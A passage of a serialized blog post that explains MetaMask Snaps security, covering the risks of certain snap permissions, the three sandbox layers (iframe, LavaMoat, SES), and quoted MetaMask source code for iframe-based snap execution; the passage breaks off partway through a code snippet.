snap:",{"type":24,"tag":25,"props":41092,"children":41093},{},[41094],{"type":24,"tag":63,"props":41095,"children":41097},{"alt":7,"src":41096},"/posts/metamask-snaps/permissions.png",[],{"type":24,"tag":22292,"props":41099,"children":41100},{},[41101,41119],{"type":24,"tag":2678,"props":41102,"children":41103},{},[41104,41110,41111,41117],{"type":24,"tag":80,"props":41105,"children":41107},{"className":41106},[],[41108],{"type":29,"value":41109},"snap_getBip44Entropy",{"type":29,"value":855},{"type":24,"tag":80,"props":41112,"children":41114},{"className":41113},[],[41115],{"type":29,"value":41116},"snap_getBip32Entropy",{"type":29,"value":41118}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":24,"tag":2678,"props":41120,"children":41121},{},[41122,41128],{"type":24,"tag":80,"props":41123,"children":41125},{"className":41124},[],[41126],{"type":29,"value":41127},"endowment:transaction-insight",{"type":29,"value":41129}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":24,"tag":43,"props":41131,"children":41133},{"id":41132},"snap-execution-environment",[41134],{"type":29,"value":41135},"Snap execution environment",{"type":24,"tag":25,"props":41137,"children":41138},{},[41139],{"type":29,"value":41140},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":24,"tag":2674,"props":41142,"children":41143},{},[41144,41149,41154],{"type":24,"tag":2678,"props":41145,"children":41146},{},[41147],{"type":29,"value":41148},"An isolated iframe",{"type":24,"tag":2678,"props":41150,"children":41151},{},[41152],{"type":29,"value":41153},"LavaMoat",{"type":24,"tag":2678,"props":41155,"children":41156},{},[41157],{"type":29,"value":41158},"SES (Secure EcmaScript)",{"type":24,"tag":25,"props":41160,"children":41161},{},[41162],{"type":24,"tag":63,"props":41163,"children":41165},{"alt":7,"src":41164},"/posts/metamask-snaps/environment.png",[],{"type":24,"tag":43,"props":41167,"children":41169},{"id":41168},"isolated-iframe-layer-1",[41170],{"type":29,"value":41171},"Isolated Iframe - Layer 1",{"type":24,"tag":25,"props":41173,"children":41174},{},[41175,41177,41184],{"type":29,"value":41176},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":24,"tag":2773,"props":41178,"children":41181},{"href":41179,"rel":41180},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[2777],[41182],{"type":29,"value":41183},"Iframe",{"type":29,"value":41185}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":24,"tag":112,"props":41187,"children":41189},{"id":41188},"the-framework-metamask-extension-repo",[41190],{"type":29,"value":41191},"The Framework: Metamask-Extension Repo",{"type":24,"tag":25,"props":41193,"children":41194},{},[41195,41197,41203,41205,41211],{"type":29,"value":41196},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":24,"tag":80,"props":41198,"children":41200},{"className":41199},[],[41201],{"type":29,"value":41202},"metamask-controller.js",{"type":29,"value":41204}," file. Here's a glimpse of the relevant ",{"type":24,"tag":2773,"props":41206,"children":41209},{"href":41207,"rel":41208},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[2777],[41210],{"type":29,"value":80},{"type":29,"value":978},{"type":24,"tag":137,"props":41213,"children":41217},{"className":41214,"code":41215,"language":41216,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[41218],{"type":24,"tag":80,"props":41219,"children":41220},{"__ignoreMap":7},[41221,41229,41237,41257,41305,41340,41357,41365,41407,41414,41421,41429,41457,41469],{"type":24,"tag":147,"props":41222,"children":41223},{"class":149,"line":150},[41224],{"type":24,"tag":147,"props":41225,"children":41226},{"style":154},[41227],{"type":29,"value":41228},"// Import snaps-controllers\n",{"type":24,"tag":147,"props":41230,"children":41231},{"class":149,"line":160},[41232],{"type":24,"tag":147,"props":41233,"children":41234},{"style":154},[41235],{"type":29,"value":41236},"// ...\n",{"type":24,"tag":147,"props":41238,"children":41239},{"class":149,"line":169},[41240,41244,41249,41253],{"type":24,"tag":147,"props":41241,"children":41242},{"style":218},[41243],{"type":29,"value":15276},{"type":24,"tag":147,"props":41245,"children":41246},{"style":247},[41247],{"type":29,"value":41248}," snapExecutionServiceArgs",{"type":24,"tag":147,"props":41250,"children":41251},{"style":241},[41252],{"type":29,"value":651},{"type":24,"tag":147,"props":41254,"children":41255},{"style":235},[41256],{"type":29,"value":6630},{"type":24,"tag":147,"props":41258,"children":41259},{"class":149,"line":178},[41260,41265,41269,41274,41278,41283,41287,41292,41296,41301],{"type":24,"tag":147,"props":41261,"children":41262},{"style":247},[41263],{"type":29,"value":41264},"  iframeUrl:",{"type":24,"tag":147,"props":41266,"children":41267},{"style":218},[41268],{"type":29,"value":37533},{"type":24,"tag":147,"props":41270,"children":41271},{"style":229},[41272],{"type":29,"value":41273}," URL",{"type":24,"tag":147,"props":41275,"children":41276},{"style":235},[41277],{"type":29,"value":480},{"type":24,"tag":147,"props":41279,"children":41280},{"style":247},[41281],{"type":29,"value":41282},"process",{"type":24,"tag":147,"props":41284,"children":41285},{"style":235},[41286],{"type":29,"value":87},{"type":24,"tag":147,"props":41288,"children":41289},{"style":247},[41290],{"type":29,"value":41291},"env",{"type":24,"tag":147,"props":41293,"children":41294},{"style":235},[41295],{"type":29,"value":87},{"type":24,"tag":147,"props":41297,"children":41298},{"style":247},[41299],{"type":29,"value":41300},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":24,"tag":147,"props":41302,"children":41303},{"style":235},[41304],{"type":29,"value":12362},{"type":24,"tag":147,"props":41306,"children":41307},{"class":149,"line":187},[41308,41313,41318,41322,41327,41331,41336],{"type":24,"tag":147,"props":41309,"children":41310},{"style":247},[41311],{"type":29,"value":41312},"  messenger:",{"type":24,"tag":147,"props":41314,"children":41315},{"style":218},[41316],{"type":29,"value":41317}," this",{"type":24,"tag":147,"props":41319,"children":41320},{"style":235},[41321],{"type":29,"value":87},{"type":24,"tag":147,"props":41323,"children":41324},{"style":247},[41325],{"type":29,"value":41326},"controllerMessenger",{"type":24,"tag":147,"props":41328,"children":41329},{"style":235},[41330],{"type":29,"value":87},{"type":24,"tag":147,"props":41332,"children":41333},{"style":229},[41334],{"type":29,"value":41335},"getRestricted",{"type":24,"tag":147,"props":41337,"children":41338},{"style":235},[41339],{"type":29,"value":20752},{"type":24,"tag":147,"props":41341,"children":41342},{"class":149,"line":196},[41343,41348,41353],{"type":24,"tag":147,"props":41344,"children":41345},{"style":247},[41346],{"type":29,"value":41347},"    name:",{"type":24,"tag":147,"props":41349,"children":41350},{"style":3534},[41351],{"type":29,"value":41352}," 'ExecutionService'",{"type":24,"tag":147,"props":41354,"children":41355},{"style":235},[41356],{"type":29,"value":1549},{"type":24,"tag":147,"props":41358,"children":41359},{"class":149,"line":205},[41360],{"type":24,"tag":147,"props":41361,"children":41362},{"style":235},[41363],{"type":29,"value":41364},"  }),\n",{"type":24,"tag":147,"props":41366,"children":41367},{"class":149,"line":214},[41368,41373,41377,41381,41386,41390,41395,41399,41403],{"type":24,"tag":147,"props":41369,"children":41370},{"style":247},[41371],{"type":29,"value":41372},"  setupSnapProvider:",{"type":24,"tag":147,"props":41374,"children":41375},{"style":218},[41376],{"type":29,"value":41317},{"type":24,"tag":147,"props":41378,"children":41379},{"style":235},[41380],{"type":29,"value":87},{"type":24,"tag":147,"props":41382,"children":41383},{"style":247},[41384],{"type":29,"value":41385},"setupSnapProvider",{"type":24,"tag":147,"props":41387,"children":41388},{"style":235},[41389],{"type":29,"value":87},{"type":24,"tag":147,"props":41391,"children":41392},{"style":229},[41393],{"type":29,"value":41394},"bind",{"type":24,"tag":147,"props":41396,"children":41397},{"style":235},[41398],{"type":29,"value":480},{"type":24,"tag":147,"props":41400,"children":41401},{"style":218},[41402],{"type":29,"value":23299},{"type":24,"tag":147,"props":41404,"children":41405},{"style":235},[41406],{"type":29,"value":12362},{"type":24,"tag":147,"props":41408,"children":41409},{"class":149,"line":272},[41410],{"type":24,"tag":147,"props":41411,"children":41412},{"style":235},[41413],{"type":29,"value":1120},{"type":24,"tag":147,"props":41415,"children":41416},{"class":149,"line":281},[41417],{"type":24,"tag":147,"props":41418,"children":41419},{"emptyLinePlaceholder":16},[41420],{"type":29,"value":314},{"type":24,"tag":147,"props":41422,"children":41423},{"class":149,"line":299},[41424],{"type":24,"tag":147,"props":41425,"children":41426},{"style":154},[41427],{"type":29,"value":41428},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":24,"tag":147,"props":41430,"children":41431},{"class":149,"line":308},[41432,41436,41440,41444,41448,41452],{"type":24,"tag":147,"props":41433,"children":41434},{"style":247},[41435],{"type":29,"value":41282},{"type":24,"tag":147,"props":41437,"children":41438},{"style":235},[41439],{"type":29,"value":87},{"type":24,"tag":147,"props":41441,"children":41442},{"style":247},[41443],{"type":29,"value":41291},{"type":24,"tag":147,"props":41445,"children":41446},{"style":235},[41447],{"type":29,"value":87},{"type":24,"tag":147,"props":41449,"children":41450},{"style":247},[41451],{"type":29,"value":41300},{"type":24,"tag":147,"props":41453,"children":41454},{"style":241},[41455],{"type":29,"value":41456}," =\n",{"type":24,"tag":147,"props":41458,"children":41459},{"class":149,"line":317},[41460,41465],{"type":24,"tag":147,"props":41461,"children":41462},{"style":3534},[41463],{"type":29,"value":41464},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":24,"tag":147,"props":41466,"children":41467},{"style":235},[41468],{"type":29,"value":432},{"type":24,"tag":147,"props":41470,"children":41471},{"class":149,"line":332},[41472],{"type":24,"tag":147,"props":41473,"children":41474},{"style":154},[41475],{"type":29,"value":41236},{"type":24,"tag":25,"props":41477,"children":41478},{},[41479,41481,41487,41489,41495,41497,41502],{"type":29,"value":41480},"This code is defining the ",{"type":24,"tag":80,"props":41482,"children":41484},{"className":41483},[],[41485],{"type":29,"value":41486},"snapExecutionServiceArgs",{"type":29,"value":41488}," object, which contains information required for the ",{"type":24,"tag":80,"props":41490,"children":41492},{"className":41491},[],[41493],{"type":29,"value":41494},"IframeExecutionService",{"type":29,"value":41496}," to execute snaps. The ",{"type":24,"tag":80,"props":41498,"children":41500},{"className":41499},[],[41501],{"type":29,"value":41300},{"type":29,"value":41503}," points to the location where the execution environment resides.",{"type":24,"tag":112,"props":41505,"children":41507},{"id":41506},"executing-snaps-iframeexecutionservice-in-action",[41508],{"type":29,"value":41509},"Executing Snaps: IframeExecutionService in Action",{"type":24,"tag":25,"props":41511,"children":41512},{},[41513,41515,41520,41522,41528],{"type":29,"value":41514},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":24,"tag":80,"props":41516,"children":41518},{"className":41517},[],[41519],{"type":29,"value":41494},{"type":29,"value":41521}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":24,"tag":2773,"props":41523,"children":41526},{"href":41524,"rel":41525},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[2777],[41527],{"type":29,"value":80},{"type":29,"value":978},{"type":24,"tag":137,"props":41530,"children":41534},{"className":41531,"code":41532,"language":41533,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[41535],{"type":24,"tag":80,"props":41536,"children":41537},{"__ignoreMap":7},[41538,41546,41575,41605,41658,41695,41702,41709,41717,41724,41731,41739,41774,41782,41838,41899,41907],{"type":24,"tag":147,"props":41539,"children":41540},{"class":149,"line":150},[41541],{"type":24,"tag":147,"props":41542,"children":41543},{"style":154},[41544],{"type":29,"value":41545},"// Register message handlers for snap interactions\n",{"type":24,"tag":147,"props":41547,"children":41548},{"class":149,"line":160},[41549,41553,41557,41562,41566,41571],{"type":24,"tag":147,"props":41550,"children":41551},{"style":218},[41552],{"type":29,"value":23299},{"type":24,"tag":147,"props":41554,"children":41555},{"style":235},[41556],{"type":29,"value":87},{"type":24,"tag":147,"props":41558,"children":41559},{"style":247},[41560],{"type":29,"value":41561},"#messenger",{"type":24,"tag":147,"props":41563,"children":41564},{"style":235},[41565],{"type":29,"value":87},{"type":24,"tag":147,"props":41567,"children":41568},{"style":229},[41569],{"type":29,"value":41570},"registerActionHandler",{"type":24,"tag":147,"props":41572,"children":41573},{"style":235},[41574],{"type":29,"value":9088},{"type":24,"tag":147,"props":41576,"children":41577},{"class":149,"line":169},[41578,41583,41587,41592,41596,41601],{"type":24,"tag":147,"props":41579,"children":41580},{"style":3534},[41581],{"type":29,"value":41582},"  `",{"type":24,"tag":147,"props":41584,"children":41585},{"style":218},[41586],{"type":29,"value":39709},{"type":24,"tag":147,"props":41588,"children":41589},{"style":247},[41590],{"type":29,"value":41591},"controllerName",{"type":24,"tag":147,"props":41593,"children":41594},{"style":218},[41595],{"type":29,"value":39741},{"type":24,"tag":147,"props":41597,"children":41598},{"style":3534},[41599],{"type":29,"value":41600},":handleRpcRequest`",{"type":24,"tag":147,"props":41602,"children":41603},{"style":235},[41604],{"type":29,"value":1549},{"type":24,"tag":147,"props":41606,"children":41607},{"class":149,"line":178},[41608,41613,41617,41622,41626,41631,41635,41640,41644,41649,41653],{"type":24,"tag":147,"props":41609,"children":41610},{"style":218},[41611],{"type":29,"value":41612},"  async",{"type":24,"tag":147,"props":41614,"children":41615},{"style":235},[41616],{"type":29,"value":408},{"type":24,"tag":147,"props":41618,"children":41619},{"style":247},[41620],{"type":29,"value":41621},"snapId",{"type":24,"tag":147,"props":41623,"children":41624},{"style":241},[41625],{"type":29,"value":978},{"type":24,"tag":147,"props":41627,"children":41628},{"style":9044},[41629],{"type":29,"value":41630}," string",{"type":24,"tag":147,"props":41632,"children":41633},{"style":235},[41634],{"type":29,"value":546},{"type":24,"tag":147,"props":41636,"children":41637},{"style":247},[41638],{"type":29,"value":41639},"options",{"type":24,"tag":147,"props":41641,"children":41642},{"style":241},[41643],{"type":29,"value":978},{"type":24,"tag":147,"props":41645,"children":41646},{"style":9044},[41647],{"type":29,"value":41648}," SnapRpcHookArgs",{"type":24,"tag":147,"props":41650,"children":41651},{"style":235},[41652],{"type":29,"value":564},{"type":24,"tag":147,"props":41654,"children":41655},{"style":218},[41656],{"type":29,"value":41657},"=>\n",{"type":24,"tag":147,"props":41659,"children":41660},{"class":149,"line":187},[41661,41666,41670,41675,41679,41683,41687,41691],{"type":24,"tag":147,"props":41662,"children":41663},{"style":218},[41664],{"type":29,"value":41665},"    this",{"type":24,"tag":147,"props":41667,"children":41668},{"style":235},[41669],{"type":29,"value":87},{"type":24,"tag":147,"props":41671,"children":41672},{"style":229},[41673],{"type":29,"value":41674},"handleRpcRequest",{"type":24,"tag":147,"props":41676,"children":41677},{"style":235},[41678],{"type":29,"value":480},{"type":24,"tag":147,"props":41680,"children":41681},{"style":247},[41682],{"type":29,"value":41621},{"type":24,"tag":147,"props":41684,"children":41685},{"style":235},[41686],{"type":29,"value":546},{"type":24,"tag":147,"props":41688,"children":41689},{"style":247},[41690],{"type":29,"value":41639},{"type":24,"tag":147,"props":41692,"children":41693},{"style":235},[41694],{"type":29,"value":12362},{"type":24,"tag":147,"props":41696,"children":41697},{"class":149,"line":196},[41698],{"type":24,"tag":147,"props":41699,"children":41700},{"style":235},[41701],{"type":29,"value":1473},{"type":24,"tag":147,"props":41703,"children":41704},{"class":149,"line":205},[41705],{"type":24,"tag":147,"props":41706,"children":41707},{"emptyLinePlaceholder":16},[41708],{"type":29,"value":314},{"type":24,"tag":147,"props":41710,"children":41711},{"class":149,"line":214},[41712],{"type":24,"tag":147,"props":41713,"children":41714},{"style":154},[41715],{"type":29,"value":41716},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":24,"tag":147,"props":41718,"children":41719},{"class":149,"line":272},[41720],{"type":24,"tag":147,"props":41721,"children":41722},{"style":154},[41723],{"type":29,"value":41236},{"type":24,"tag":147,"props":41725,"children":41726},{"class":149,"line":281},[41727],{"type":24,"tag":147,"props":41728,"children":41729},{"emptyLinePlaceholder":16},[41730],{"type":29,"value":314},{"type":24,"tag":147,"props":41732,"children":41733},{"class":149,"line":299},[41734],{"type":24,"tag":147,"props":41735,"children":41736},{"style":154},[41737],{"type":29,"value":41738},"// Execute a snap\n",{"type":24,"tag":147,"props":41740,"children":41741},{"class":149,"line":308},[41742,41747,41752,41756,41761,41765,41770],{"type":24,"tag":147,"props":41743,"children":41744},{"style":247},[41745],{"type":29,"value":41746},"async",{"type":24,"tag":147,"props":41748,"children":41749},{"style":229},[41750],{"type":29,"value":41751}," executeSnap",{"type":24,"tag":147,"props":41753,"children":41754},{"style":235},[41755],{"type":29,"value":480},{"type":24,"tag":147,"props":41757,"children":41758},{"style":247},[41759],{"type":29,"value":41760},"snapData",{"type":24,"tag":147,"props":41762,"children":41763},{"style":235},[41764],{"type":29,"value":20943},{"type":24,"tag":147,"props":41766,"children":41767},{"style":247},[41768],{"type":29,"value":41769},"SnapExecutionData",{"type":24,"tag":147,"props":41771,"children":41772},{"style":235},[41773],{"type":29,"value":505},{"type":24,"tag":147,"props":41775,"children":41776},{"class":149,"line":317},[41777],{"type":24,"tag":147,"props":41778,"children":41779},{"style":154},[41780],{"type":29,"value":41781},"  // Initialize job, streams, and environment\n",{"type":24,"tag":147,"props":41783,"children":41784},{"class":149,"line":332},[41785,41790,41794,41799,41804,41808,41813,41817,41821,41826,41830,41834],{"type":24,"tag":147,"props":41786,"children":41787},{"style":218},[41788],{"type":29,"value":41789},"  const",{"type":24,"tag":147,"props":41791,"children":41792},{"style":235},[41793],{"type":29,"value":15207},{"type":24,"tag":147,"props":41795,"children":41796},{"style":247},[41797],{"type":29,"value":41798},"jobId",{"type":24,"tag":147,"props":41800,"children":41801},{"style":235},[41802],{"type":29,"value":41803}," } ",{"type":24,"tag":147,"props":41805,"children":41806},{"style":241},[41807],{"type":29,"value":369},{"type":24,"tag":147,"props":41809,"children":41810},{"style":321},[41811],{"type":29,"value":41812}," await",{"type":24,"tag":147,"props":41814,"children":41815},{"style":218},[41816],{"type":29,"value":41317},{"type":24,"tag":147,"props":41818,"children":41819},{"style":235},[41820],{"type":29,"value":87},{"type":24,"tag":147,"props":41822,"children":41823},{"style":229},[41824],{"type":29,"value":41825},"initJob",{"type":24,"tag":147,"props":41827,"children":41828},{"style":235},[41829],{"type":29,"value":480},{"type":24,"tag":147,"props":41831,"children":41832},{"style":247},[41833],{"type":29,"value":41760},{"type":24,"tag":147,"props":41835,"children":41836},{"style":235},[41837],{"type":29,"value":1473},{"type":24,"tag":147,"props":41839,"children":41840},{"class":149,"line":350},[41841,41845,41849,41854,41858,41862,41866,41870,41874,41878,41882,41887,41891,41895],{"type":24,"tag":147,"props":41842,"children":41843},{"style":218},[41844],{"type":29,"value":41789},{"type":24,"tag":147,"props":41846,"children":41847},{"style":235},[41848],{"type":29,"value":15207},{"type":24,"tag":147,"props":41850,"children":41851},{"style":247},[41852],{"type":29,"value":41853},"worker",{"type":24,"tag":147,"props":41855,"children":41856},{"style":235},[41857],{"type":29,"value":546},{"type":24,"tag":147,"props":41859,"children":41860},{"style":247},[41861],{"type":29,"value":490},{"type":24,"tag":147,"props":41863,"children":41864},{"style":235},[41865],{"type":29,"value":41803},{"type":24,"tag":147,"props":41867,"children":41868},{"style":241},[41869],{"type":29,"value":369},{"type":24,"tag":147,"props":41871,"children":41872},{"style":321},[41873],{"type":29,"value":41812},{"type":24,"tag":147,"props":41875,"children":41876},{"style":218},[41877],{"type":29,"value":41317},{"type":24,"tag":147,"props":41879,"children":41880},{"style":235},[41881],{"type":29,"value":87},{"type":24,"tag":147,"props":41883,"children":41884},{"style":229},[41885],{"type":29,"value":41886},"initEnvStream",{"type":24,"tag":147,"props":41888,"children":41889},{"style":235},[41890],{"type":29,"value":480},{"type":24,"tag":147,"props":41892,"children":41893},{"style":247},[41894],{"type":29,"value":41798},{"type":24,"tag":147,"props":41896,"children":41897},{"style":235},[41898],{"type":29,"value":1473},{"type":24,"tag":147,"props":41900,"children":41901},{"class":149,"line":358},[41902],{"type":24,"tag":147,"props":41903,"children":41904},{"style":154},[41905],{"type":29,"value":41906},"  // ...\n",{"type":24,"tag":147,"props":41908,"children":41909},{"class":149,"line":397},[41910],{"type":24,"tag":147,"props":41911,"children":41912},{"style":235},[41913],{"type":29,"value":827},{"type":24,"tag":25,"props":41915,"children":41916},{},[41917,41918,41923,41925,41931],{"type":29,"value":5094},{"type":24,"tag":80,"props":41919,"children":41921},{"className":41920},[],[41922],{"type":29,"value":41494},{"type":29,"value":41924}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":24,"tag":80,"props":41926,"children":41928},{"className":41927},[],[41929],{"type":29,"value":41930},"${controllerName}:executeSnap",{"type":29,"value":41932}," handler triggers the snap execution process.",{"type":24,"tag":112,"props":41934,"children":41936},{"id":41935},"step-by-step-execution-from-initialization-to-iframe-creation",[41937,41939],{"type":29,"value":41938},"Step-by-Step Execution: From Initialization to iFrame ",{"type":24,"tag":2773,"props":41940,"children":41943},{"href":41941,"rel":41942},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[2777],[41944],{"type":29,"value":41945},"creation",{"type":24,"tag":137,"props":41947,"children":41949},{"className":41531,"code":41948,"language":41533,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[41950],{"type":24,"tag":80,"props":41951,"children":41952},{"__ignoreMap":7},[41953,42002,42023,42044,42052,42116,42123,42151,42168,42185,42202,42219,42226,42233,42257],{"type":24,"tag":147,"props":41954,"children":41955},{"class":149,"line":150},[41956,41961,41966,41971,41975,41979,41983,41987,41992,41997],{"type":24,"tag":147,"props":41957,"children":41958},{"style":247},[41959],{"type":29,"value":41960},"protected",{"type":24,"tag":147,"props":41962,"children":41963},{"style":247},[41964],{"type":29,"value":41965}," async",{"type":24,"tag":147,"props":41967,"children":41968},{"style":229},[41969],{"type":29,"value":41970}," initEnvStream",{"type":24,"tag":147,"props":41972,"children":41973},{"style":235},[41974],{"type":29,"value":480},{"type":24,"tag":147,"props":41976,"children":41977},{"style":247},[41978],{"type":29,"value":41798},{"type":24,"tag":147,"props":41980,"children":41981},{"style":235},[41982],{"type":29,"value":20943},{"type":24,"tag":147,"props":41984,"children":41985},{"style":247},[41986],{"type":29,"value":35267},{"type":24,"tag":147,"props":41988,"children":41989},{"style":235},[41990],{"type":29,"value":41991},"): ",{"type":24,"tag":147,"props":41993,"children":41994},{"style":9044},[41995],{"type":29,"value":41996},"Promise",{"type":24,"tag":147,"props":41998,"children":41999},{"style":235},[42000],{"type":29,"value":42001},"\u003C{\n",{"type":24,"tag":147,"props":42003,"children":42004},{"class":149,"line":160},[42005,42010,42014,42019],{"type":24,"tag":147,"props":42006,"children":42007},{"style":247},[42008],{"type":29,"value":42009},"    worker",{"type":24,"tag":147,"props":42011,"children":42012},{"style":241},[42013],{"type":29,"value":978},{"type":24,"tag":147,"props":42015,"children":42016},{"style":9044},[42017],{"type":29,"value":42018}," Window",{"type":24,"tag":147,"props":42020,"children":42021},{"style":235},[42022],{"type":29,"value":432},{"type":24,"tag":147,"props":42024,"children":42025},{"class":149,"line":169},[42026,42031,42035,42040],{"type":24,"tag":147,"props":42027,"children":42028},{"style":247},[42029],{"type":29,"value":42030},"    stream",{"type":24,"tag":147,"props":42032,"children":42033},{"style":241},[42034],{"type":29,"value":978},{"type":24,"tag":147,"props":42036,"children":42037},{"style":9044},[42038],{"type":29,"value":42039}," BasePostMessageStream",{"type":24,"tag":147,"props":42041,"children":42042},{"style":235},[42043],{"type":29,"value":432},{"type":24,"tag":147,"props":42045,"children":42046},{"class":149,"line":178},[42047],{"type":24,"tag":147,"props":42048,"children":42049},{"style":235},[42050],{"type":29,"value":42051},"  }> {\n",{"type":24,"tag":147,"props":42053,"children":42054},{"class":149,"line":187},[42055,42060,42065,42069,42073,42078,42082,42086,42090,42095,42099,42104,42108,42112],{"type":24,"tag":147,"props":42056,"children":42057},{"style":235},[42058],{"type":29,"value":42059},"    const ",{"type":24,"tag":147,"props":42061,"children":42062},{"style":247},[42063],{"type":29,"value":42064},"iframeWindow",{"type":24,"tag":147,"props":42066,"children":42067},{"style":241},[42068],{"type":29,"value":651},{"type":24,"tag":147,"props":42070,"children":42071},{"style":321},[42072],{"type":29,"value":41812},{"type":24,"tag":147,"props":42074,"children":42075},{"style":229},[42076],{"type":29,"value":42077}," createWindow",{"type":24,"tag":147,"props":42079,"children":42080},{"style":235},[42081],{"type":29,"value":480},{"type":24,"tag":147,"props":42083,"children":42084},{"style":218},[42085],{"type":29,"value":23299},{"type":24,"tag":147,"props":42087,"children":42088},{"style":235},[42089],{"type":29,"value":87},{"type":24,"tag":147,"props":42091,"children":42092},{"style":247},[42093],{"type":29,"value":42094},"iframeUrl",{"type":24,"tag":147,"props":42096,"children":42097},{"style":235},[42098],{"type":29,"value":87},{"type":24,"tag":147,"props":42100,"children":42101},{"style":229},[42102],{"type":29,"value":42103},"toString",{"type":24,"tag":147,"props":42105,"children":42106},{"style":235},[42107],{"type":29,"value":23982},{"type":24,"tag":147,"props":42109,"children":42110},{"style":247},[42111],{"type":29,"value":41798},{"type":24,"tag":147,"props":42113,"children":42114},{"style":235},[42115],{"type":29,"value":1473},{"type":24,"tag":147,"props":42117,"children":42118},{"class":149,"line":196},[42119],{"type":24,"tag":147,"props":42120,"children":42121},{"emptyLinePlaceholder":16},[42122],{"type":29,"value":314},{"type":24,"tag":147,"props":42124,"children":42125},{"class":149,"line":205},[42126,42130,42134,42138,42142,42147],{"type":24,"tag":147,"props":42127,"children":42128},{"style":235},[42129],{"type":29,"value":42059},{"type":24,"tag":147,"props":42131,"children":42132},{"style":247},[42133],{"type":29,"value":490},{"type":24,"tag":147,"props":42135,"children":42136},{"style":241},[42137],{"type":29,"value":651},{"type":24,"tag":147,"props":42139,"children":42140},{"style":218},[42141],{"type":29,"value":37533},{"type":24,"tag":147,"props":42143,"children":42144},{"style":229},[42145],{"type":29,"value":42146}," WindowPostMessageStream",{"type":24,"tag":147,"props":42148,"children":42149},{"style":235},[42150],{"type":29,"value":20752},{"type":24,"tag":147,"props":42152,"children":42153},{"class":149,"line":214},[42154,42159,42164],{"type":24,"tag":147,"props":42155,"children":42156},{"style":247},[42157],{"type":29,"value":42158},"      name:",{"type":24,"tag":147,"props":42160,"children":42161},{"style":3534},[42162],{"type":29,"value":42163}," 'parent'",{"type":24,"tag":147,"props":42165,"children":42166},{"style":235},[42167],{"type":29,"value":1549},{"type":24,"tag":147,"props":42169,"children":42170},{"class":149,"line":272},[42171,42176,42181],{"type":24,"tag":147,"props":42172,"children":42173},{"style":247},[42174],{"type":29,"value":42175},"      target:",{"type":24,"tag":147,"props":42177,"children":42178},{"style":3534},[42179],{"type":29,"value":42180}," 'child'",{"type":24,"tag":147,"props":42182,"children":42183},{"style":235},[42184],{"type":29,"value":1549},{"type":24,"tag":147,"props":42186,"children":42187},{"class":149,"line":281},[42188,42193,42198],{"type":24,"tag":147,"props":42189,"children":42190},{"style":247},[42191],{"type":29,"value":42192},"      targetWindow:",{"type":24,"tag":147,"props":42194,"children":42195},{"style":247},[42196],{"type":29,"value":42197}," iframeWindow",{"type":24,"tag":147,"props":42199,"children":42200},{"style":235},[42201],{"type":29,"value":1549},{"type":24,"tag":147,"props":42203,"children":42204},{"class":149,"line":299},[42205,42210,42215],{"type":24,"tag":147,"props":42206,"children":42207},{"style":247},[42208],{"type":29,"value":42209},"      targetOrigin:",{"type":24,"tag":147,"props":42211,"children":42212},{"style":3534},[42213],{"type":29,"value":42214}," '*'",{"type":24,"tag":147,"props":42216,"children":42217},{"style":235},[42218],{"type":29,"value":1549},{"type":24,"tag":147,"props":42220,"children":42221},{"class":149,"line":308},[42222],{"type":24,"tag":147,"props":42223,"children":42224},{"style":235},[42225],{"type":29,"value":37857},{"type":24,"tag":147,"props":42227,"children":42228},{"class":149,"line":317},[42229],{"type":24,"tag":147,"props":42230,"children":42231},{"emptyLinePlaceholder":16},[42232],{"type":29,"value":314},{"type":24,"tag":147,"props":42234,"children":42235},{"class":149,"line":332},[42236,42241,42245,42249,42253],{"type":24,"tag":147,"props":42237,"children":42238},{"style":235},[42239],{"type":29,"value":42240},"    return { worker: 